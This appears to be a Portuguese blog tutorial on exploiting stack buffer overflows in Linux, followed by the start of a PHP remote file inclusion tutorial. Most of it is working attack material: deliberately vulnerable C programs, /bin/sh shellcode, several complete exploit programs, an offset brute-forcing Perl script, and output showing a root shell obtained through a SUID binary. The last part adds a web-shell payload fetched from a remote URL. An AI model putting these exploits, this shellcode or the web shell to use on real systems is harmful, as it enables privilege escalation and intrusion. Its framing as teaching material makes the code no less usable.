Você está na página 1de 24

Iae galera, Este tutorial bem explicativo, de como explorar uma falha em um programa.

. Ento vamos comear Stack overflow esta uma das tcnicas mais fceis(pelo menos que eu acho). No ensinarei a criar shellcodes e essas coisas, sei que e relacionado ao assunto mais segue um caminho totalmente diferente com relao ao que eu quero passar para vocs. Vejam o meu post que eu estou disponibilizando um livro de buffer overflow. No percam, estou disponibilizando vrios livros que eu mesmo estou traduzindo. Dem uma olhada no blog, e procure sobre alguns dos meus livros. Introduo Um processador e formado por uma ULA(Unidade Lgica Aritmtica), uma Unidade de Controle e pelos Registradores. Registradores so pequenas reas da memria(dentro do processador) que servem para armazenar alguns dados para serem processados para assim no precisar de ficar pegando e tirando dados da memria! Mais isso tem um poder quanto a limitao. No pense que esses dados de memrias chegam aos MBytes muito menos aos KBytes estou falando em registradores de alguns Bits. Isso nos da uma limitao quando ns carregamos um programa porque no conseguirmos executar todas as instrues sem a perda de alguns dados Para isso existe a pilha A pilha(stack) uma forma de ampliar a nossa rea de atuao Ela uma regio da memria que foi separada para armazenar alguns dados do processamento de um programa. Vejamos a utilizao de uma funo em C: Soma (10, 4); Talves, o processador poderia colocar esses valores nos registradores. mas se fossem numero muito grande ou se o numero que eu quisesse somar fosse maior que o numero de registradores? Isso ele resolve facilmente ele simplesmente empurra (push) esses valores para a pilha S que ele no pode empurrar o 10 e depois o 4 porque a pilha no tem esse nome em vo. Ela tem esse nome justamente porque ela funciona como uma pilha de livros Se voc colocar um livro em cima da pilha, quando voc retirar, voc vai tirar o ultimo que voc colocou j que ele esta no topo Ento para processar esses parmetros passados e necessrios empurrar o 4 e em seguida o 10: push 4 push 10 -

Ento vamos ao nosso Primeiro programa bugado(vulnervel) Agora vamos ver como um programa faz para separar uma rea de stack para armazenar um valor! Vamos fazer o seguinte programa em C: ++++++++++++ vuln01.c +++++++++++++++ /* Primeiro exemplo de programa bugado a stack overflow para o tutoria de Stack Overflow. Escrito por chuck_newbie, mas em qualquer tutorial e mesma coisa . chuck_newbie@hotmail.com */ #include <stdio.h> int main(int argc, char *argv[]) { char buffer[256]; if (argc < 2) { printf (Use: %s <string>n, argv[0]); exit(0); } strcpy(buffer, argv[1]); printf (Voc digitou: %sn, buffer); } ++++++++++++++++++++++++++++++++ Esse e um simples programa que separa uma rea no stack para armazenar vrios caracteres(no caso foi 256). Em seguida ele pega o primeiro argumento passado pelo usurio e copia para dentro dessa varivel supondo que o usurio no digite mais que 256. Mais que 256, eu falo isso porque quando voc declarou a varivel para aceitar at 256 caracteres, o sistema separo espao no stack para armazenar esse valor.. Ento ele disse essa rea vai ser para o varivel buffer e ela ter o mximo 256 bytes ou seja ningum mais vai usar ela! e o resto do sistema no usa esse espao na memria mais tem um porem Ele pode muito bem usar o que tem antes e o que tem depois E ele ir usar para armazenar dados importantes para nosso programa. E se colocar-mos mais, o que aconteceria? Vamos testar? newbie@hostnotfound:~/tcnicas/stack_overflow$ gcc -o vuln01 vuln01.c newbie@hostnotfound:~/tecnicas/stack_overflow$ ./vuln01

Use: ./vuln01 <string> newbie@hostnotfound:~/tecnicas/stack_overflow$ ./vuln01 chuck_newbie Voc digitou: chuck_newbie newbie@hostnotfound:~/tcnicas/stack_overflow$ Agora entendeu como ele funciona? Ele simplesmente pega o valor que eu digitei como parmetro e copia para dentro da varivel buffer! Mais veja o seguinte: newbie@hostnotfound:~/tcnicas/stack_overflow$ ./vuln01 `perl -e print Ax300;` Voc digitou: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Falha de segmentao newbie@hostnotfound:~/tcnicas/stack_overflow$ Para quem no conhece perl, eu explico; nica coisa que eu fiz agora, foi multiplicar o A por 300, que o resultado deu trezentos A. Ento, quando eu fiz essa multiplicao, eu mandei esse tanto de A, para o programa bugado, e deu erro no nosso programa: obvio porque deu ERRO, mais vou explicar. Porque ns colocamos mais dados no buffer do que ele suportava. Isso fez com que fosse sobrescrita alguma rea de memria importante para o funcionamento do nosso programa. Essa rea nada mais e do que o endereo de retorno da funo strcpy. Debugando com o GDB Vamos usar o programa GDB(GNU Debugger) para saber o que o sistema faz no nosso programa: newbie@hostnotfound:~/tecnicas/stack_overflow$ gdb vuln01 GNU gdb 6.0 Copyright 2003 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type show copying to see the conditions. There is absolutely no warranty for GDB. Type show warranty for details.

This GDB was configured as i486-slackware-linux Agora vamos disassemblar a funo main (gdb) disassemble main Dump of assembler code for function main: 0x080483c4 <main+0>: 0x080483c5 <main+1>: 0x080483c7 <main+3>: 0x080483cd <main+9>: push %ebp mov %esp,%ebp sub $0108,%esp $00,%eax %eax,%esp 0x80483f7 <main+51> $0xc,%esp and $0xfffffff0,%esp

0x080483d0 <main+12>: mov 0x080483d5 <main+17>: sub 0x080483db <main+23>: jg 0x080483dd <main+25>: sub

0x080483d7 <main+19>: cmpl $01,08(%ebp)

0x080483e0 <main+28>: push $0x80484f4 0x080483e5 <main+33>: call 0x80482d0 0x080483ea <main+38>: add 0x080483ed <main+41>: sub $010,%esp $0xc,%esp

0x080483f0 <main+44>: push $00 0x080483f2 <main+46>: call 0x80482e0 0x080483f7 <main+51>: sub $08,%esp 0x080483fa <main+54>: mov 0xc(%ebp),%eax 0x080483fd <main+57>: add $04,%eax 008048400 <main+60>: pushl (%eax) 008048402 <main+62>: lea 0xfffffef8(%ebp),%eax 008048408 <main+68>: push %eax 008048409 <main+69>: call 0x80482f0 0x0804840e <main+74>: add $010,%esp 008048411 <main+77>: sub $08,%esp 008048414 <main+80>: lea 0xfffffef8(%ebp),%eax 0x0804841a <main+86>: push %eax 0x0804841b <main+87>: push $08048506 008048420 <main+92>: call 0x80482d0

008048425 <main+97>: add 008048428 <main+100>: leave 008048429 <main+101>: ret 0x0804842a <main+102>: nop End of assembler dump. (gdb) -

$010,%esp

Vamos tentar entender alguma coisa dai! No e necessrio saber Tudo. Vamos comear nas duas primeiras linhas: 0x080483c4 <main+0>: 0x080483c5 <main+1>: push %ebp mov %esp,%ebp

Esse e o procedimento inicial de qualquer programa C compilado! continuando: 0x080483c7 <main+3>: sub $0108,%esp Essa instruo subtrai 0108(264) ds posio do stack(Stack Pointer SP). Isso serve para declararmos uma posio no stack para uma varivel, e essas coisas. Podemos observar que existe varias chamadas(calls) para outras partes da memria Mais tem um porem na instruo call, voc sabe como ela faz para poder retornar na instruo seguinte? O que eu quero saber como o programa sabe em que endereo os call foram executados para poder voltar quando terminar de execut-lo! Simples O nome desse endereo, endereo de retorno(Return Address) e ele ficam armazenados no stack.. Olha que legal! Ento vejamos Se nos separamos espao para nossa varivel de 256 caracteres e um pouco acima(isso e pilha) separamos um espao para o endereo de retorno o que acontece se nos colocarmos mais de 256 caracteres? Para ficar mais claro veja o esquema?

PILHA | buffer[256] | mais alguma coisa | endereco de retorno | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA |-> Percebeu que uma hora ns sobrescrevemos o endereco de retorno? Entao vamos ver isso na pratica Vamos imprimir na tela, 272 AS, e mandar para nosso programa que est separando 256 bits. (gdb) r `perl -e print Ax272;` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/newbie/tecnicas/stack_overflow/vuln01 `perl -e print Ax272;` Voce digitou: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Program received signal SIGSEGV, Segmentation fault. 041414141 in ?? () (gdb) Deu um erro de segmentao! porque aonde esta 041414141? 041414141 in ?? () OBS: quando voc estiver estudando este tutorial, baixe o programa debuger, e faa os mesmos teste, pois os resultados que estamos pegando est la. VOLTANDO.. Voc pode estar se perguntado o que isso prova. qual e o valor HEX do caracteres A ? 041 ? o programa tentou apontar para a posio AAAA da memria!

Se ainda no ficou muito claro vamos ver o seguinte: (gdb) r `perl -e print Ax268 . ABCD;` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/newbie/tecnicas/stack_overflow/vuln01 `perl -e print Ax268 . ABCD;` Voce digitou: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAABCD Program received signal SIGSEGV, Segmentation fault. 044434241 in ?? () (gdb) Agora ele tentou saltar para o endereo 044434241 = BCDA.. Uai, mais eu No digitei ABCD no final Sim amigo mais se lembra que no stack o ultimo a entrar e o primeiro a sair? Nesse caso ele empurro(push) o caractere D para o ultimo Entao ele foi o primeiro a sair(044).. Mais com isso nos s conseguimos fazer um simples ataque DoS no sistema para killar algum programa e isso no nos interessa muito! Ento o que podemos fazer mais? Como voc percebeu ns conseguimos alterar para onde o programa saltar. Ento porque no fazemos ele saltar para uma posio da memria que tenha um cdigo que realmente de para executar? ta comeando a clarear? Ns podemos executar qualquer cdigo dentro do sistema! Agora entra um outro assunto mais antes vamos pegar um valor importante para nosso exploit inicial: a posio da stack(Stack Pointer ou ESP) para fazer nosso exploit inicial. Veremos que podemos usar um artifcio para no precisar de saber esse valor mais inicialmente bom saber-mos:

(gdb) info reg esp esp (gdb) Agora vamos ao outro assunto que eu disse agora pouco! Programas SUID Programas SUID so programa que tem o bit mais ativado(chmod +s vuln01) isso faz com que ele seja executado com as permisses do super usurio(root).. mais voc fica limitado s a esse programa no adianta tentar colocar ele em background e digitar id esperando um uid=0(root) que voc vai se decepcionar! A, que nos entramos Se esse programa estiver vulnervel a overflow ns podemos executar algum cdigo dentro dele ento ns so precisamos de executar um /bin/sh para abrir uma shell como root j que o programa que executo ele est rodando com as permisses do root! Qual cdigo colocar na memria? O cdigo que deveremos colocar na memria se chama shellcode(cdigo de shell) s q ele deve ser escrito em linguagem de maquina para ser executado! Veja o post que eu disponibilizo um livro de shellcodes em portugus. Logo, baixe o livro e estude. O shellcode que nos executaremos e o seguinte: char shellcode[] = xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd x80xe8xdcxffxffxff/bin/sh; Se voc assustou, ento faa o que eu disse o livro, que voc vai entender como criar uma shell. O que voc precisa de saber de ante mo e que esse cdigo faz o mesmo que: execl(/bin/sh,/bin/sh,0); S que em linguagem de maquina! Escrevendo o Exploit Para, aprender a criar um exploit. Veja em um de meus posts que eu estou disponilizando um livro traduzido do metasploit. Agora que temos a shell, vem a parte mais legal de tudo 0xbffff420 0xbffff420

Vamos fazer um programa que explora esse nosso programa fazendo ele executar o nosso shellcode! O que nos faremos e o seguinte: Encheremos uma varivel com nosso shellcode e com o endereo dele de uma maneira que esse endereo fique corretamente sobre o endereo de retorno da seguinte forma: +-++ | buffer[256] | mais alguma cosia | retorno | + ++ | CCCCCCCCCCCCCCCRRRRRRRRRRRRRRRRRRRRRRRRRRRRR| onde: C = Nosso shellcode R = Novo endereo de retorno O grande problema(agora) saber para onde apontar j que ele deve apontar corretamente no inicio do nosso shellcode ento ns teremos que fazer o endereo de retorno apontar para a posio da pilha(ESP) j que nosso shellcode ficara l e em seguida ficar chutando variaes(offsets) para tentar fazer ele cair certinho aonde queremos! Segue o cdigo do exploit bem comentado: +++++++++++++++++ 1_xpl.c +++++++++++++++++++++ /* Exploit para o primeiro exemplo de programa bugado a stack overflow Escrito por chuck_newbie (chuck_newbie@hotmail.com) para tutorial */ #define TAM #define ESP 272 // Tamanho do nosso buffer at ele sobrescrever o ret 0xbffff420 // Posio da pinha que nos pegamos usando o GDB

// Vamos declarar nosso shellcode char shellcode[] = xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd x80xe8xdcxffxffxff/bin/sh; int main(int argc, char *argv[]) { char buffer[TAM]; long addr; // Para armazenar o endereo do shellcode int i; // Armazenamos o valor do endereo de buffer

addr = ESP; // Possibilitamos alterar o endereo de retorno para chutar variaes(offsets) if (argc > 1) addr += atoi(argv[1]); printf(Novo endereo: 0x%08xn, addr); // Enchemos o buffer com o esp + offset(q se tivermos sorte ser aonde est nosso shellcode) for (i = 0; i < TAM; i += 4) *(long *)&buffer[i] = addr; // Agora colocamos o shellcode no inicio dele memcpy(buffer, shellcode, strlen(shellcode)); // E executamos vuln01 passando nosso buffer maligno como parmetro execl(./vuln01, vuln01, buffer, 0); } ++++++++++++++++++++++++++++++++++++++++++ Agora vamos ao teste: newbie@hostnotfound:~/tcnicas/stack_overflow$ gcc 1_xpl.c -o 1_xpl newbie@hostnotfound:~/tcnicas/stack_overflow$ ./1_xpl Novo endereo: 0xbffff420 Voc digitou: ^1FF (um monte de trosso estranho) Falha de segmentao newbie@hostnotfound:~/tcnicas/stack_overflow$ Vimos que no deu de cara o inicio j que nosso shellcode no esta no inicio do stack Ento s nos resta ficar chutando offsets de 1 em 1: newbie@hostnotfound:~/tcnicas/stack_overflow$ ./1_xpl 1 Novo endereco: 0xbffff421 Voc digitou: ^1FF Instruo ilegal newbie@hostnotfound:~/tcnicas/stack_overflow$ ./1_xpl 2 Novo endereco: 0xbffff422 Voc digitou: ^1FF Falha de segmentao

newbie@hostnotfound:~/tcnicas/stack_overflow$ ./1_xpl 3 Novo endereo: 0xbffff423 Instruo ilegal newbie@hostnotfound:~/tcnicas/stack_overflow$ Isso e trabalhoso, n ? Logo, a funo de ns(fucadores) e agilizar nosso trabalho. Faa o seguinte script em perl: ++++++++++++ exec.pl +++++++++++++++ #!/usr/bin/perl ############################################ # Script[zinhu] para agilizar o chute dos offsets em uso nos exploits # # Feito por chuck_newbie chuck_newbie@hotmail.com # use: perl exec.pl [programa] [offset inicial] [offset final] [variacao] # ############################################ $prog=$ARGV[0]; $offset_ini=$ARGV[1]; $offset_fim=$ARGV[2]; $offset_int=$ARGV[3]; for ($i = $offset_ini; $i < $off_set_fim; $i += $offset_int) { printf Offset: . $offset_ini + $i . n; system(./$prog $i); } ++++++++++++++++++++++++++++++++ Agora vamos test-lo: newbie@hostnotfound:~/tecnicas/stack_overflow$ perl exec.pl 1_xpl 1 1000 1 blablablablalba blablablablablablabla blablablablablabla ( e depois de varios offsets ) 417 Novo endereco: 0xbffff5c1 Voc digitou: ^1FF sh-2.05b$ #

Executamos o /bin/sh. Mais percebeu que foi usado o offset 417 ? Se tivesse que fazer isso na mo quando voc acertasse seu filho j conheceria essa Tcnica(supondo que voc ainda no tenha nenhum)! Ento vamos melhorar nosso exploit consideravelmente usando um artifcio muito bom e utilizado! Utilizando NOP No Operation Um NOP e um comando em ASM que significa No Operation.. ou seja.. ele faz uma coisa muito importante..NADA!! O que ns poderamos fazer o seguinte: - Encher nosso buffer com NOPs e depois com nosso shellcode. Isso porque se o Endereo de retorno cair em algum NOP ento ele e executado corretamente e em seguida passa para o prximo e assim vai ate chegar ao destino? isso!!! No nosso querido e amado shellcode! Ento nos temos que fazer nosso buffer da seguinte forma! +-++ | buffer[256] | mais alguma cosia | retorno | + ++ | NNNNNNNNNNNCCCCCCCCCCCCCCCRRRRRRRRRRRRRRRRR| Onde: N = NOP = 090(linguagem de maquina) C = ShellCode R = Endereo que sobrescrevera o endereo de retorno Se voc j entendeu vamos parar de falar e vamos ao cdigo agora, si voc no entendeu leia de novo: +++++++++++++++++ 2_xpl.c +++++++++++++++++++++ /* Segundo exploit para o primeiro exemplo de programa bugado a stack overflow Escrito por chuck_newbie (chuck_newbie@hotmail.com) para tutorial */ #define TAM #define ESP 272 0xbffff420

#define NOP 090 // Vamos declarar nosso shellcode

char shellcode[] = xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd x80xe8xdcxffxffxff/bin/sh; int main(int argc, char *argv[]) { char buffer[TAM]; long addr; // Para armazenar o endereo do shellcode int i; // Armazenamos o valor do endereo de buffer addr = ESP; // Possibilitamos alterar o endereo de retorno para chutar variaes(offsets) if (argc > 1) addr += atoi(argv[1]); printf(Novo endereo: 0x%08xn, addr); // Enchemos o buffer com o esp(que pressupomos que e onde esta o shellcode) for (i = 0; i < TAM; i += 4) { *(long *)&buffer[i] = addr; } // Vamos encher uma parte do buffer com nossos NOPs for (i = 0; i < TAM strlen(shellcode) 24; i++) buffer[i] = NOP; printf (Colocado %d NOPsn, TAM strlen(shellcode) 24); // Agora colocamos o shellcode depois dos nops memcpy(buffer + i, shellcode, strlen(shellcode)); // E executamos vuln01 passando nosso buffer maligno como parmetro execl(./vuln01, vuln01, buffer, 0); } ++++++++++++++++++++++++++++++++++++++++++ Agora executando: newbie@hostnotfound:~/tcnicas/stack_overflow$ gcc 2_xpl.c -o 2_xpl newbie@hostnotfound:~/tcnicas/stack_overflow$ ./2_xpl Novo endereco: 0xbffff420 Colocado 203 NOPs Voc digitou: ^1FF

(lixo) Falha de segmentao newbie@hostnotfound:~/tcnicas/stack_overflow$ Ainda no Mais isso era de se esperar. Mais ele nos deu uma informao importante Ele nos disse que tem 203 NOPs Isso nos possibilita chutar offsets variando de 203 em 203. Bem melhor do que de um em um. Vamos tentar na unha mesmo! newbie@hostnotfound:~/tcnicas/stack_overflow$ ./2_xpl 200 Novo endereco: 0xbffff4e8 Colocado 203 NOPs Voc digitou: ^1FF Instruo ilegal newbie@hostnotfound:~/tcnicas/stack_overflow$ ./2_xpl 400 Novo endereco: 0xbffff5b0 Colocado 203 NOPs Voc digitou: ^1FF Falha de segmentao newbie@hostnotfound:~/tcnicas/stack_overflow$ ./2_xpl 600 Novo endereo: 0xbffff678 Colocado 203 NOPs Voc digitou: ^1FF sh-2.05b$ exit exit Conseguimos com apenas trs chutes nos conseguimos fazer o endereo de retorno apontar para nosso shellcode(pelo menos para um dos 203 NOPs )! Vamos agora a mais um passo para facilitar a nossa vida! Fazendo o exploit pegar o ESP Um dos maiores problemas de escrever exploits e que as posies de memria variam de compilao a compilao, de sistema a sistema e de execuo a execuao! Isso quer dizer que se voc fizer um exploit para sua maquina talvez ele no

funfe em outra, porque o endereo do ESP pode ter mudado drasticamente! Mais graas a Deus podemos usar um artifcio para conseguirmos pegar o nosso To querido ESP dentro do nosso exploit no entrarei em detalhes! S teste o seguinte: +++++++++++ pega_esp.c ++++++++++++++++ unsigned long pega_esp(void) { __asm__(movl %ESP, %EAX); } void main() { printf (Abracadabra..nAlacasannE nosso ESP e 0x%08x!nTchanranram!!!nn,pega_esp()); } ++++++++++++++++++++++++++++++++++ Nossa funo pega_esp() s move o vamos do ESP para o registrador EAX que por coincidncia e o valor do resultado das funes! Agora compile e execute: newbie@hostnotfound:~/tcnicas/stack_overflow$ gcc pega_esp.c -o pega_esp pega_esp.c: In function `main: pega_esp.c:5: warning: return type of `main is not `int newbie@hostnotfound:~/tcnicas/stack_overflow$ ./pega_esp Abracadabra.. Alacasan E nosso ESP e 0xbffff518! Tchanranram!!! newbie@hostnotfound:~/tcnicas/stack_overflow$ Ai esta nosso ESP!! Agora vamos deixar em embromao e vamos a escrita de nosso shellcode mais aperfeioado ainda: +++++++++++++++ 3_xpl.c ++++++++++++++++++++++++ /* Terceiro exploit para o primeiro exemplo de programa bugado a stack overflow Escrito por chuck_newbie (chuck_newbie@hotmail.com) para tutorial */ #define TAM 272

#define NOP 090 // Nossa funo[zinha] que pega o valor do nosso ESP unsigned long pega_esp(void) { __asm__(movl %ESP, %EAX); } // Vamos declarar nosso shellcode char shellcode[] = xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd x80xe8xdcxffxffxff/bin/sh; int main(int argc, char *argv[]) { char buffer[TAM]; long addr; // Para armazenar o endereo do shellcode int i; // Armazenamos o valor do endereo de buffer addr = pega_esp(); // Possibilitamos alterar o endereco de retorno para chutar variaes(offsets) if (argc > 1) addr += atoi(argv[1]); printf(Novo endereco: 0x%08xn, addr); // Enchemos o buffer com o esp(que pressupomos que e onde esta o shellcode) for (i = 0; i < TAM; i += 4) { *(long *)&buffer[i] = addr; } // Vamos encher uma parte do buffer com nossos NOPs for (i = 0; i < TAM strlen(shellcode) 24; i++) buffer[i] = NOP; printf (Colocado %d NOPsn, TAM strlen(shellcode) 24); // Agora colocamos o shellcode depois dos nops memcpy(buffer + i, shellcode, strlen(shellcode)); // E executamos vuln01 passando nosso buffer maligno como parmetro execl(./vuln01, vuln01, buffer, 0); } +++++++++++++++++++++++++++++++++++++++++ Da para perceber que a nica diferena e que trocamos o valor de ESP que tnhamos

antes pelo valor que acabamos de pegar! Isso facilita para rodar os xpls em outros sistemas! A execuo ser a mesmo: newbie@hostnotfound:~/tcnicas/stack_overflow$ gcc 3_xpl.c -o 3_xpl newbie@hostnotfound:~/tcnicas/stack_overflow$ ./3_xpl 600 Novo endereco: 0xbffff650 Colocado 203 NOPs Voc digitou: ^1FF (alguns lixo da memria) sh-2.05b$ exit exit Espero amigo que esse entendimento tenha ficado bem claro para voce! Si voc quer estudar mais sobre explorao. Ento veja os outros posts no meu blog, pois eu tenho 4 lindos livros(metasploit, buffer overflow, shellcode, arquitetura, assembly). Entre no meu blog e confira as novidades, e veja os posts sobre os livros. Mas, por favor: so baixe o livro si voc for realmente estudar. Si no for, no baixe. Agora, vamos ao mais um obstculo para nossos estudos. Veja o nosso segundo programa bugado abaixo: +++++++++++++++++ vuln02.c ++++++++++++++++++++ #include <stdio.h> int main(int argc, char *argv[]) { char buffer[8]; if (argc < 2) { printf (Use: %s <string>n, argv[0]); exit(0); } strcpy(buffer, argv[1]); printf (Voc digitou: %sn, buffer); } +++++++++++++++++++++++++++++++++++++++++++ Repare que ele esta vulneravel da mesma forma que o anterior S que tem um grande problema! O buffer s tem 16 bytes e no caber nem NOPs nem o ShellCode dentro dele porque o prprio shellcode sobrescrevera o endereo de retorno! Mais podemos ver perfeitamente que ele esta vulnervel:

newbie@hostnotfound:~/tcnicas/stack_overflow$ gcc vuln02.c -o vuln02 newbie@hostnotfound:~/tecnicas/stack_overflow$ ./vuln02 Use: ./vuln02 <string> newbie@hostnotfound:~/tecnicas/stack_overflow$ ./vuln02 chuck_newbie Voc digitou: chuck_newbie newbie@hostnotfound:~/tcnicas/stack_overflow$ ./vuln02 `perl -e print Ax30;` Voc digitou: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Falha de segmentao newbie@hostnotfound:~/tcnicas/stack_overflow$ ulimit -c 1234567 newbie@hostnotfound:~/tcnicas/stack_overflow$ ./vuln02 `perl -e print Ax29 . BCDE;` Voc digitou: AAAAAAAAAAAAAAAAAAAAAAAAAAAAABCDE Falha de segmentao (core dumped) newbie@hostnotfound:~/tecnicas/stack_overflow$ gdb -c core GNU gdb 6.0 Copyright 2003 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type show copying to see the conditions. There is absolutely no warranty for GDB. Type show warranty for details. This GDB was configured as i486-slackware-linux. Core was generated by `./vuln02 AAAAAAAAAAAAAAAAAAAAAAAAAAAAABCDE. Program terminated with signal 11, Segmentation fault. #0 044434241 in ?? () (gdb) Podemos ver perfeitamente que nos podemos sobrescrever o endereo de retorno do programa vulnervel para apontar para outro lugar! Mais no podemos colocar nosso shellcode com nossos nops nessa varivel porque no caberia Mais eu nunca disse que eles precisam estar nessa varivel! E s colocar ele em qualquer outro lugar da memria e fazer ele apontar para l! Um bom lugar seria as variveis de ambiente porque elas(quando declaradas no nosso programa) vo para o topo to stack! Ento nosso exploit s precisa de setar uma varivel de ambiente com nossos NOPs e nosso shellcode e fazer o programa bugado apontar para l, que no caso seria

mais perto to topo do stack do que no exemplo anterior! Ento vamos ao exploit: ++++++++++++++++++++ 1_2_xpl.c +++++++++++++++++++ /* Exploit para o segundo programa bugado a stack overflow com um buffer muito pequeno! Desenvolvedor por Chuck_NewBie chuck_newbie@hotmail.com */ #include <stdio.h> #define ENV_LEN #define BUF_LEN #define NOP 4096 // Pode ser bem grande q naum tem problema 32 090

unsigned long pega_esp(void) { __asm__(movl %esp, %eax); } char shellcode[] = xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd x80xe8xdcxffxffxff/bin/sh; int main(int argc, char *argv[]) { char *buffer, *var_amb; int i; long new_ret; // Pegamos a posio do stack e adicionamos offsets se desejado new_ret = pega_esp(); if (argc > 1) new_ret += atoi(argv[1]); // Adiciona offset // Alocamos espaco para a varivel buffer e enchemos soh o o novo endereco buffer = malloc(BUF_LEN); if (buffer == NULL) { fprintf (stderr, Erro ao alocar memria para o buffer!n); exit(-1); } for (i = 0; i <BUF_LEN; i += 4) *(long *)&buffer[i] = new_ret;

// Agora que o buffer jah ta feito precisamos de criar nossa varaivel de ambiente! var_amb = malloc(ENV_LEN); if (var_amb == NULL) { fprintf (stderr, Erro ao alocar memria para ambiente!n); exit(-1); } // Agora colocas um monte de nops no inicio dela for (i = 0; i < ENV_LEN strlen(shellcode) 1; i++) // -1 porque tem q ter o NULL Char no final var_amb[i] = NOP; memcpy(var_amb + i, shellcode, strlen(shellcode)); // Colocamos nosso shellcode logo depois dos nops var_amb[ENV_LEN] = 0; setenv(B4D_R37, var_amb, 1); execl(./vuln02, vuln02, buffer, 0); } ++++++++++++++++++++++++++++++++++++++++++ No direi nada a respeito do cdigo porque creio eu que ele j esteja bem comentado! Vamos aos testes: newbie@hostnotfound:~/tcnicas/stack_overflow$ gcc 1_2_xpl.c -o 1_2_xpl 1_2_xpl.c: In function `main: 1_2_xpl.c:27: warning: assignment makes pointer from integer without a cast 1_2_xpl.c:37: warning: assignment makes pointer from integer without a cast newbie@hostnotfound:~/tcnicas/stack_overflow$ ./1_2_xpl Voc digitou: sh-2.05b$ exit exit newbie@hostnotfound:~/tecnicas/stack_overflow$ VIVA! Conseguimos de PRIMEIRA! Sem chute de offsets nem nada disso Endendendo o esquema do SUID S pra ficar mais claro agora! newbie@hostnotfound:~/tcnicas/stack_overflow$ su Password: // Colocamos o NULL Char // Setamos a varaivel com nome B4D_R37 // Executamos o programa vulneravel

root@hostnotfound:/home/newbie/tecnicas/stack_overflow# chown root.root vuln02 root@hostnotfound:/home/newbie/tecnicas/stack_overflow# chmod 4755 vuln02 root@hostnotfound:/home/newbie/tcnicas/stack_overflow# exit exit newbie@hostnotfound:~/tcnicas/stack_overflow$ ./1_2_xpl Voc digitou: sh-2.05b$ id uid=0(root) gid=0(root) sh-2.05b$ Este tutorial bem explicativo para aquelas pessoas que ainda esto comeando. Aqueles que no entenderem este tutorial, aconselho a lerem os livros que eu traduzi em portugus. Read More Posted in ataques, buffer overflow, bugs, exploits, linux, programacao, shellcode | 8 comments

Descobrir vulnerabilidade de php injection e explorando com um exploit, exploitando php injection, criar exploit para php injection
C A funo include() do PHP usada para incluir alguma coisa. Se essa funo no for usada com segurana, algum mal-intencionado poder explorar esta falha de segurana. Assim podendo desfigurar seu site ou em alguns casos s invadir seu site por invadir. incluindo scripts PHP(php injection) e executar comandos arbitrrios no sistema. Exemplo de pgina vulnervel: include($_GET['page']); Ir incluir a pagina especificada pelo programador, que ser identificada via browser(na url), deixando o site vulnervel, pois qualquer um poder mudar o nome da pagina via GET. Ex: http://127.0.0.1/vuln.php?page=http://www.qualquercoisa.com/imagem.gif Nesse caso, o arquivo imagem.gif ser incluido na pgina, mas o que acontece se ao invs de incluirmos imagens, passarmos a injetar um script PHP do tipo: system($_GET['cmd']); http://127.0.0.1/vuln.php?page=http://www.qualquer-coisa.com/script.txt&cmd=dir A funo system() executa comandos no sistema, no exemplo acima, o comando executado ser dir, e a resposta ser algo parecido com:

